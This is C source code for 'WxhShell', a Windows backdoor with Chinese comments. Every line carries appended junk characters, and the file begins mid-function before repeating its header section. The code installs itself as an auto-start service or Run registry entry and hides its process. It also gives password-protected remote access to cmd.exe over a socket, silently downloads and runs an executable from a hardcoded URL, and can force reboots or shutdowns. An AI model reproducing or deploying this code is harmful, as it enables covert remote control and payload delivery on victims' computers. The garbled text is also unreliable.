    if(Boot(SHUTDOWN)) zbL6TP@=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >P\/\xL=  
    else { D>Ph))QI  
    closesocket(wsh); c\pPwG  
    ExitThread(0); 4d0<uB&v'  
    } o\YF_235  
    break; SpUcrK;1  
    } ,*@6NK,.  
  // 获取shell ~8G<Nw4*\  
  case 's': { L3- tD67oa  
    CmdShell(wsh); :S5B3S@|  
    closesocket(wsh); D;al(q  
    ExitThread(0); vMOit,{  
    break; 1JoRP~mMxa  
  } e RjpR?!\  
  // 退出 )v67wn*1A  
  case 'x': { i;$'haK<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *u%4]q  
    CloseIt(wsh); =1"8ua  
    break; DHV#PLbN$  
    } T9+ ?A l  
  // 离开 +}@HtjM  
  case 'q': { KD7 RI3'?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); RT)*H>|  
    closesocket(wsh); :#QYwb~  
    WSACleanup(); ctL@&~*nY  
    exit(1); {^#62Y  
    break; |0mVK`  
        } 6Hn3  
  } YFCP'J"Z  
  } &@xixbg  
\Podyh/;?  
  // 提示信息 Osdw\NNH~M  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  98os4}r  
} (SLAq$gvd  
  } GiN\nu<!  
^V~r S8]gj  
  return; 8v M}moper  
} ?*z#G'3z1  
-zd*tujx  
// shell模块句柄 v 6?{g  
int CmdShell(SOCKET sock)  wNW9xmS  
{ 'Z+~G  
STARTUPINFO si; "K z=Z C  
ZeroMemory(&si,sizeof(si)); 0*"auGuX  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; F}A@H<?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #"a?3!wr  
PROCESS_INFORMATION ProcessInfo; x(z[S$6Y\  
char cmdline[]="cmd"; _Va!Ky =]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +!V*{<K  
  return 0; ]}cai1  
} Mrp'wF D  
4XDR?KUM  
// 自身启动模式 9 I> 3p4]  
int StartFromService(void) @#}9?>UV  
{ vS:%(Y"!<  
typedef struct pAYH"Q6~)I  
{ dvk? A$  
  DWORD ExitStatus; tqIz$84G  
  DWORD PebBaseAddress; s&p*.I]@>  
  DWORD AffinityMask; ](vsh gp2  
  DWORD BasePriority; Z xLjh  
  ULONG UniqueProcessId; l,*v/95h  
  ULONG InheritedFromUniqueProcessId; =/" Of  
}   PROCESS_BASIC_INFORMATION; \CL |=8[2  
cX@~Hk4=\  
PROCNTQSIP NtQueryInformationProcess; tgDmHxB]0  
9/RbfV[)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; SM5i3EcFYP  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; UcDJ%vI  
x{C=rdp__  
  HANDLE             hProcess; ?MuM _6  
  PROCESS_BASIC_INFORMATION pbi; qu8i Jq  
REhXW_x  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2"NRnCx *  
  if(NULL == hInst ) return 0; TdP_L/>|J  
O9]j$,i  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); rB|D^@mG  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); PEoO s  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0b=OK0n!%  
%lV&QQa  
  if (!NtQueryInformationProcess) return 0; r^ &{0c&o  
Pv`yOx&nE  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); '!Vn  
  if(!hProcess) return 0; er^z:1'  
}#q9>gx  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; i)\`"&.j>N  
tOwwgf  
  CloseHandle(hProcess); "tUXYY  
1^R@X  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); tsU.c"^n  
if(hProcess==NULL) return 0; //:.k#}~B  
1&Rz'JQ+  
HMODULE hMod; {J%hTjCw  
char procName[255]; /Yc!m$uCW  
unsigned long cbNeeded; '@wYr|s4  
R,/?p  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ()K%Rn  
TvAA  
  CloseHandle(hProcess); O$Wt\Y <q  
G!oq ;<  
if(strstr(procName,"services")) return 1; // 以服务启动 ,Vt7Kiu  
'  G-]>  
  return 0; // 注册表启动 c}Y(Myd  
} UMo=bs  
abWmPi  
// 主模块 rZe"*$e  
int StartWxhshell(LPSTR lpCmdLine) IO`.]iG  
{ >f19P+  
  SOCKET wsl; ;Mc\>i/  
BOOL val=TRUE; 75@){ :  
  int port=0; 6t TLyI$+  
  struct sockaddr_in door; r`i<XGPJ%  
-Duy: C6W  
  if(wscfg.ws_autoins) Install(); +%6{>C+bZo  
2<yi8O\  
port=atoi(lpCmdLine); _C&2-tnp  
-fz |  
if(port<=0) port=wscfg.ws_port; A(W%G|+  
De4UGX  
  WSADATA data; R(=Lhz6R4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Yp./3b VO  
W cPDPu~/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2K!3+D"  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); K/+5$SjF  
  door.sin_family = AF_INET; PLKp<kg  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); IBf&'/ 8\  
  door.sin_port = htons(port); rv&(yA  
S$+vRX7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,4jkTQ*@2  
closesocket(wsl); wZh&w<l'  
return 1; @xm O\  
} ['sj'3cW-  
qWHH% L;  
  if(listen(wsl,2) == INVALID_SOCKET) { /0d_{Y+9  
closesocket(wsl); vO%n~l=  
return 1; p8oOm>B96n  
} x$J1%K*  
  Wxhshell(wsl); 2+TCFpv  
  WSACleanup(); *.r i8  
X7?p$!M6;B  
return 0; 9loWh5_1Z  
|zKe*H/  
} h$ DFp  
OlK3xdg7  
// 以NT服务方式启动 rF2`4j&!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) U voX\  
{ Z2(z,pK  
DWORD   status = 0; KIC5U50J  
  DWORD   specificError = 0xfffffff; Y]P'; C_eP  
BZ">N  
  serviceStatus.dwServiceType     = SERVICE_WIN32; #gMMh B=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; G6w&C^J*8>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; VtUe$ft  
  serviceStatus.dwWin32ExitCode     = 0; ;RflzY|D  
  serviceStatus.dwServiceSpecificExitCode = 0; 5:Pp62  
  serviceStatus.dwCheckPoint       = 0; II3)Cz}xRG  
  serviceStatus.dwWaitHint       = 0; =zDU!< U  
@ JZ I  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?FVX &{{V  
  if (hServiceStatusHandle==0) return; [!]a' T#x  
@v ss:'l  
status = GetLastError(); \6-x~%xK  
  if (status!=NO_ERROR) }tF/ca:XPQ  
{ -GD_xk  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; zIi|z}WJ  
    serviceStatus.dwCheckPoint       = 0; TUIj-HSe  
    serviceStatus.dwWaitHint       = 0; bTHKMaGWC  
    serviceStatus.dwWin32ExitCode     = status; h8Q+fHDYv  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^ ~:f02[D  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;gY W!rM  
    return; =MEv{9_  
  } 5DK>4H:  
K}tl,MMU  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /1F%w8Iqh  
  serviceStatus.dwCheckPoint       = 0; -$f~V\M  
  serviceStatus.dwWaitHint       = 0; 7*^-3Tt83  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Y;8Ys&/t  
} K]Q#B|_T  
8i!AJF9IQ}  
// 处理NT服务事件,比如:启动、停止 Tz4,lwuWX7  
VOID WINAPI NTServiceHandler(DWORD fdwControl) p @&>{hi@  
{ B]L5K~d  
switch(fdwControl) rdhK&5x*  
{ E0!}~Z)  
case SERVICE_CONTROL_STOP: y  >r7(qg  
  serviceStatus.dwWin32ExitCode = 0; /vll*}}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4 sasf94  
  serviceStatus.dwCheckPoint   = 0; k"&l o h  
  serviceStatus.dwWaitHint     = 0; 'DO^($N  
  { _ui03veA1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %@#+Xpa+  
  } U`N|pPe:w  
  return; Ef{rY|E  
case SERVICE_CONTROL_PAUSE: Ni#!C:q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {e\Pd!D?|  
  break; lPx4=O  
case SERVICE_CONTROL_CONTINUE: /ts=DxCC;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 11[[Hk X@  
  break; reR><p  
case SERVICE_CONTROL_INTERROGATE: C,~wmS )@  
  break; ,yus44w[  
}; Zt4g G KG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z"#eN(v.N  
} l9KL P  
}IO<Dq=[  
// 标准应用程序主函数 dE19_KPm[j  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3:@2gp!tq  
{ 5b45u 6  
lffp\v{w  
// 获取操作系统版本 v,y nz'>)  
OsIsNt=GetOsVer(); ,@kD9n5#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [ -"o5!0<  
\95qH ,w)T  
  // 从命令行安装 I$/*Pt];  
  if(strpbrk(lpCmdLine,"iI")) Install(); /_<`#?5T(  
B!-hcn]y  
  // 下载执行文件 s7.2EkGl=  
if(wscfg.ws_downexe) { .Uq?SmK  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) b~X^vXIv%%  
  WinExec(wscfg.ws_filenam,SW_HIDE); e8g"QDc  
} Lh3>xZy"-z  
`Fa49B|`D  
if(!OsIsNt) { gwhd) .*  
// 如果时win9x,隐藏进程并且设置为注册表启动 1{l18B`  
HideProc(); mAMi-9  
StartWxhshell(lpCmdLine); FdEzt  
} nv&uhu/q  
else |$"2R3  
  if(StartFromService()) Go~bQ2*'(/  
  // 以服务方式启动 i{[=N9U5o  
  StartServiceCtrlDispatcher(DispatchTable); DTmv2X  
else )*#Pp )Q  
  // 普通方式启动 H,,-;tN?  
  StartWxhshell(lpCmdLine); M2HO!btf  
ALvj)I`Al  
return 0; bj23S&  
} \Zc$X^}vN  
Q|QVm,m  
?#; oqH<  
Z0&^U#]  
=========================================== GslUN% UJr  
6BM[RL?T  
$$ %4,\{l  
r>73IpJI  
U |I>CDp  
+Go(y S  
" [-o`^;  
Gt#Jr!N~  
#include <stdio.h> lOIBX@K E  
#include <string.h> mr:;Wwd  
#include <windows.h> Yhdt"@;..  
#include <winsock2.h> 1HQh%dZZ  
#include <winsvc.h> ?#8',:  
#include <urlmon.h> r~cmrLQa  
#qkokV6`  
#pragma comment (lib, "Ws2_32.lib") ZeewGa^r  
#pragma comment (lib, "urlmon.lib") $YZsaw  
lv -z[  
#define MAX_USER   100 // 最大客户端连接数 1d/-SxhZ  
#define BUF_SOCK   200 // sock buffer K&FGTS,  
#define KEY_BUFF   255 // 输入 buffer i0F.c\  
[h>|6%sW  
#define REBOOT     0   // 重启 <$\vL   
#define SHUTDOWN   1   // 关机 s ^NO(  
z_%G{H+:l  
#define DEF_PORT   5000 // 监听端口 V3;4,^=6Dd  
dw %aoe  
#define REG_LEN     16   // 注册表键长度 f[,9WkC  
#define SVC_LEN     80   // NT服务名长度 vZV+24YWb  
 .G}E  
// 从dll定义API D|8vS8p  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); m-f"EFmP  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); u@|izRk  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); UeWEncN(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >55c{|"@L  
.C^1.)  
// wxhshell配置信息 B;9"=0  
struct WSCFG { :}d`$2Dz  
  int ws_port;         // 监听端口 36>pa  
  char ws_passstr[REG_LEN]; // 口令 gfE<XrG  
  int ws_autoins;       // 安装标记, 1=yes 0=no Xx{ho 4qq  
  char ws_regname[REG_LEN]; // 注册表键名 =H*}{'#  
  char ws_svcname[REG_LEN]; // 服务名 lB!`,>"c  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 P.*J'q 28  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (]wi^dE  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 K/RQ-xd4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no hoxn!x$?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $ tf;\R  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 H+ra w/"  
1xK'1g72  
}; 97:1L4w.(  
d_9Fc" C~  
// default Wxhshell configuration MLg<YL  
struct WSCFG wscfg={DEF_PORT, VlKy6PSIg  
    "xuhuanlingzhe", N[ 4v6GS  
    1, I( BG%CO9  
    "Wxhshell", y e!Bfz>  
    "Wxhshell", gA ]7YHc  
            "WxhShell Service", 1lyJ;6i6L  
    "Wrsky Windows CmdShell Service",  j`^':!  
    "Please Input Your Password: ", R`=3lY;  
  1, G)gf +)W  
  "http://www.wrsky.com/wxhshell.exe", zM6 yUEg  
  "Wxhshell.exe" }GvoQ#N  
    }; GF~^-5  
rUfW0  
// 消息定义模块 Myss$gt}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ga#,42)H  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5@c,iU-L  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; zi:F/TlUC  
char *msg_ws_ext="\n\rExit."; bb;fV  
char *msg_ws_end="\n\rQuit."; Cus=UzL  
char *msg_ws_boot="\n\rReboot..."; KtJE  
char *msg_ws_poff="\n\rShutdown..."; ZCPK{Ru QE  
char *msg_ws_down="\n\rSave to "; bHlG(1uf  
8 o8FL~&]  
char *msg_ws_err="\n\rErr!"; Okk[}G)  
char *msg_ws_ok="\n\rOK!"; KsYT3  
WO*yJ`9]  
char ExeFile[MAX_PATH]; }yqRz6=YB  
int nUser = 0; J#*Uf>5NY  
HANDLE handles[MAX_USER]; lEi,duS)  
int OsIsNt; oTtmn, T  
vl$! To9R"  
SERVICE_STATUS       serviceStatus; Wm:3_C +j  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Pb?H cg  
mm$D1=h{|  
// 函数声明 >`*iM  
int Install(void); cJA0$)JP&  
int Uninstall(void); hM E|=\  
int DownloadFile(char *sURL, SOCKET wsh); k Fv\V   
int Boot(int flag); )DMu`cD  
void HideProc(void); )ufHk  
int GetOsVer(void); %Hv$PsSJ  
int Wxhshell(SOCKET wsl); aM 0kV.O  
void TalkWithClient(void *cs); <mHptgd,  
int CmdShell(SOCKET sock); yp5*8g5  
int StartFromService(void); L5T)_iQ5  
int StartWxhshell(LPSTR lpCmdLine); IcL3.(!]l  
D,xWc|V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); d_J?i]AP|'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )|LX_kyW  
MSeO#X  
// 数据结构和表定义 wI>JOV7  
SERVICE_TABLE_ENTRY DispatchTable[] = |PH]0.m5  
{ !~UI~-i'  
{wscfg.ws_svcname, NTServiceMain}, OfTcF_%  
{NULL, NULL} xmKa8']x  
}; yG&kP:k<  
S "oUE_>  
// 自我安装 <6/XE@"   
int Install(void) q<>2}[W  
{ UEo,:zeN[  
  char svExeFile[MAX_PATH]; d1e'!y}R5  
  HKEY key; &o"Hb=k<  
  strcpy(svExeFile,ExeFile); }=A6Jv(j  
T.ub! ,Y  
// 如果是win9x系统,修改注册表设为自启动 :&yRvu  
if(!OsIsNt) { !Go(8`>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VK`_ Qc#B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _if&a'  
  RegCloseKey(key); ?y<n^`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XeDU ,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3+A 0O%0*  
  RegCloseKey(key); e::5|6x  
  return 0;  hPr  
    } #!#V!^ o  
  } d\;M F  
} dMGu9k~u  
else { 3\=8tg p  
HKOJkbVZ2^  
// 如果是NT以上系统,安装为系统服务 u MzefRN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); yfTnj:Fz  
if (schSCManager!=0) n_Um)GI>  
{ u;J=g  
  SC_HANDLE schService = CreateService \(T; @r  
  ( :#TJ-l:#  
  schSCManager, ,_NO[+5U  
  wscfg.ws_svcname, }"m@~kg=  
  wscfg.ws_svcdisp, 'IfM~9'D  
  SERVICE_ALL_ACCESS, WY 2b  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6./&l9{h+  
  SERVICE_AUTO_START, |D]jdd@!a2  
  SERVICE_ERROR_NORMAL, q 4 Ye  
  svExeFile, |<y[gj4`T/  
  NULL, KH pxWq  
  NULL, KXw \N!  
  NULL, um ,/^2A  
  NULL, N)poe2[  
  NULL ]`m|A1(  
  ); m.K"IXD  
  if (schService!=0) ]?``*{Zqy  
  { ;k b^mJE  
  CloseServiceHandle(schService); !YJdi~q  
  CloseServiceHandle(schSCManager); AX'(xb,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }i[i{lKj  
  strcat(svExeFile,wscfg.ws_svcname); t ?bq ~!X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /SMp`Q88  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); S\0"G*  
  RegCloseKey(key); :\80*[=;Z  
  return 0; yr sP'th  
    } _9n.ir5YX  
  } u x:,io  
  CloseServiceHandle(schSCManager); Gw+z8^|C&}  
}  EVq<gGy  
} S}Mxm 2  
!@VmaAT  
return 1; Kjz,p^Y\  
} $ya#-pi`;  
{g/\5Z\b  
// 自我卸载 `dL9sfj>  
int Uninstall(void) ? 5B}ZMW  
{ }1R k]$XC  
  HKEY key; #{h4lte  
|{ 9"n<JW  
if(!OsIsNt) { Y!POUMA }A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?R,^prW{  
  RegDeleteValue(key,wscfg.ws_regname); JC=Bxv  
  RegCloseKey(key); 8: s3Q`O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z]SCIU @+  
  RegDeleteValue(key,wscfg.ws_regname); Nm,v E7M  
  RegCloseKey(key); <[~x]-  
  return 0; Hlz4f+#I  
  } +!_^MBkk  
} ;U20g:K  
} Q 5@~0  
else { a'T|p)N.;T  
j,1,;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <EBp X   
if (schSCManager!=0) sXhtn' <v  
{ 8:t-I]dzk  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); h+Q ==  
  if (schService!=0) k.lnG5e  
  { mD)Nh  
  if(DeleteService(schService)!=0) { 8<]> q  
  CloseServiceHandle(schService); a?JU(  
  CloseServiceHandle(schSCManager); %{HqF>=~  
  return 0; /@wm?ft6Gk  
  } wh*OD  
  CloseServiceHandle(schService); l,v:[N  
  } Qy6Avw/$  
  CloseServiceHandle(schSCManager); ,%KB\;1mn'  
} ( j-(fS  
} |xf%1(Rl@  
tS!~> X  
return 1; gcv,]v 8  
} N}dJ)<(2~  
pg>P]a{  
// 从指定url下载文件 -9aht}Z  
int DownloadFile(char *sURL, SOCKET wsh) 'm2,7]  
{ 5T   
  HRESULT hr; ?L'k2J  
char seps[]= "/"; S>"dUM  
char *token; ,#c-"x Y  
char *file; ^ 1J;SO|  
char myURL[MAX_PATH]; n:#ji|wM  
char myFILE[MAX_PATH]; Xp{gh@#dr  
JGO>X|T  
strcpy(myURL,sURL); $~:hv7%  
  token=strtok(myURL,seps); 4uu*&B  
  while(token!=NULL) wPc,FH+y  
  { Zy!\=-dSm  
    file=token; ~Yr.0i.W  
  token=strtok(NULL,seps); (> 8fcQUBb  
  } N@A#e/8  
F8=6!Qj  
GetCurrentDirectory(MAX_PATH,myFILE); G4RsH/  
strcat(myFILE, "\\"); Ko%rB+d  
strcat(myFILE, file); qlgh$9  
  send(wsh,myFILE,strlen(myFILE),0); Uc6U!X  
send(wsh,"...",3,0); R/b=!<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2#E;5UYu  
  if(hr==S_OK) *=sU+x&X  
return 0; 1i>)@{P&BN  
else ;ib~c,  
return 1; KK] >0QAY  
d9^=#ot  
} pixI&iQ  
' l!QGKz  
// 系统电源模块 lhjPS!A~  
int Boot(int flag) I+<`}  
{ nB:Bw8U"Q  
  HANDLE hToken; T4f:0r;^f*  
  TOKEN_PRIVILEGES tkp; mWGT (`|~/  
Awr]@%I  
  if(OsIsNt) { 5S7Z]DXiT8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 19=Dd#Nf  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); sV*Q8b*  
    tkp.PrivilegeCount = 1; 3; M!]9ms  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3$kZu  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &G"]v]V  
if(flag==REBOOT) { XSxya .1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3 (}?f  
  return 0; A5/h*`Q\\  
} t)m4"p7  
else { 8ziYav  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) bZlAK)  
  return 0; !PQRlgcG  
} un /eS-IIh  
  }  LSfj7j`  
  else { A%2!Hr  
if(flag==REBOOT) { l%U9g  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) q OXL(  
  return 0; m0#hG x  
} w%ip"GT,  
else { ^Gyl:hN  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %kUJ:lg;d  
  return 0; !*cf}<Kmw  
} },"g*  
} mb/3 #)  
O^<6`ku  
return 1; D{4 Y:O&J  
} e-s@@k  
Vnl~AQfk|  
// win9x进程隐藏模块 #2MwmIeA  
void HideProc(void) h\dIp`H  
{ h!Q >h7  
_AO0:&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); lu{}j4  
  if ( hKernel != NULL ) :#LB}=HQ  
  { dHu]wog  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !uZ+r%  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]MHQ "E?  
    FreeLibrary(hKernel); &B.r&K&  
  } dn5v|[dJ  
q{@Wn]!k  
return; q3[LnmH  
} UkYQ<MNO  
i3GvTg-X  
// 获取操作系统版本 ;'Y?wH[  
int GetOsVer(void) -@73"w/  
{ cn#a/Hx  
  OSVERSIONINFO winfo; yO($KL +  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Z5U~g?  
  GetVersionEx(&winfo); PY2`RZ/@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9w(j2i q  
  return 1; K1hw' AaQ  
  else OYzJE@r^  
  return 0; ZN)/doK  
} SB;Wa%  
>}I}9y+  
// 客户端句柄模块 }+B7C2_\  
int Wxhshell(SOCKET wsl) f&`*x t/  
{ \?g%>D:O;  
  SOCKET wsh; (r|T&'yK  
  struct sockaddr_in client; 7q?Yd AUz  
  DWORD myID; < d]|5  
kal8k-$#  
  while(nUser<MAX_USER) s=$7lYX  
{ nqH^%/7)A@  
  int nSize=sizeof(client); yO6i "3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); u7;A`  
  if(wsh==INVALID_SOCKET) return 1; i~.[iZf|  
F>M$|Sc2  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); zPmVECS  
if(handles[nUser]==0) d!d 3r W;A  
  closesocket(wsh); ^Y&Cm.w  
else ^d"J2n,7L  
  nUser++; m^=, RfUUd  
  } 4/jY;YN,2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); J!H5{7.efN  
\w:u&6,0O  
  return 0; qYh,No5\;t  
} -3V~YhG  
i`Yf|^;@2>  
// 关闭 socket b'OO~>86  
void CloseIt(SOCKET wsh) !69^ kIi$  
{ 1D`RR/g&  
closesocket(wsh); {7wvC)WW  
nUser--; ky#6M? \  
ExitThread(0); e\dT~)c  
} sV6A& Aw  
w0IB8GdF  
// 客户端请求句柄 y(R*Z^c}d,  
void TalkWithClient(void *cs) !G,$:t1-=V  
{ ^Pf&C0xXv  
Fv: %"P^  
  SOCKET wsh=(SOCKET)cs; 4"2/"D0  
  char pwd[SVC_LEN]; c,qCZ-.Sg  
  char cmd[KEY_BUFF]; )k1,oUx  
char chr[1]; \XN5))  
int i,j; @b/2'  
KH7]`CU  
  while (nUser < MAX_USER) { KCFwO'  
mx[^LaR>v  
if(wscfg.ws_passstr) { o`U\Nhq  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @r43F$bcqo  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~Qsj)9  
  //ZeroMemory(pwd,KEY_BUFF); @}Ixr{t  
      i=0; oL@ou{iQ  
  while(i<SVC_LEN) { Rf^cw}jU  
nsp K.*?  
  // 设置超时 8.^U6xA  
  fd_set FdRead; ;?!rpj  
  struct timeval TimeOut; &>jkfG  
  FD_ZERO(&FdRead); OT[m g4&  
  FD_SET(wsh,&FdRead); .g#=~{A  
  TimeOut.tv_sec=8; {Y"r]:5i  
  TimeOut.tv_usec=0; -FR;:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); VB\6S G  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); M;Rw]M  
(0Qq rNs  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J9FNjM[qe  
  pwd=chr[0]; >FHsZKJ  
  if(chr[0]==0xd || chr[0]==0xa) { -IS9uaT5  
  pwd=0; /RC!Yi  
  break; de6dLT>m  
  } nnNg^<[k3  
  i++; t4*A+"~j  
    } %MJ7u}  
&-:yn&f7  
  // 如果是非法用户,关闭 socket l{U3;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4sQAR6_SW~  
} Zsogx}i-  
orHD3T%&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); N]}+F w\5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5ecz'eA%  
}tZAU\z  
while(1) { N)*e^Nfb  
+-\9'Q  
  ZeroMemory(cmd,KEY_BUFF); P` F'Nf2U  
;QQ7vo  
      // 自动支持客户端 telnet标准   5#)<rK  
  j=0; HdUW(FZ  
  while(j<KEY_BUFF) { KL  mB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -C}59G8  
  cmd[j]=chr[0]; BmFME0  
  if(chr[0]==0xa || chr[0]==0xd) { O`jA-t  
  cmd[j]=0; S1`0d9ds#  
  break; E`n`#=xKR  
  } J_|}Xd)~t6  
  j++; *UoHzaIqz  
    } ()#tR^T  
"3|"rc&F#  
  // 下载文件 !#I/be]  
  if(strstr(cmd,"http://")) {  &n.uNe  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5{0>7c|.  
  if(DownloadFile(cmd,wsh)) eKz~viM'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); nE0~Y2  
  else '?gI cWM  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w%dIe!sV  
  } fsc~$^.~\  
  else { 2 `h!:0  
by]|O  
    switch(cmd[0]) { <1+6O[>{  
  ~: <@`  
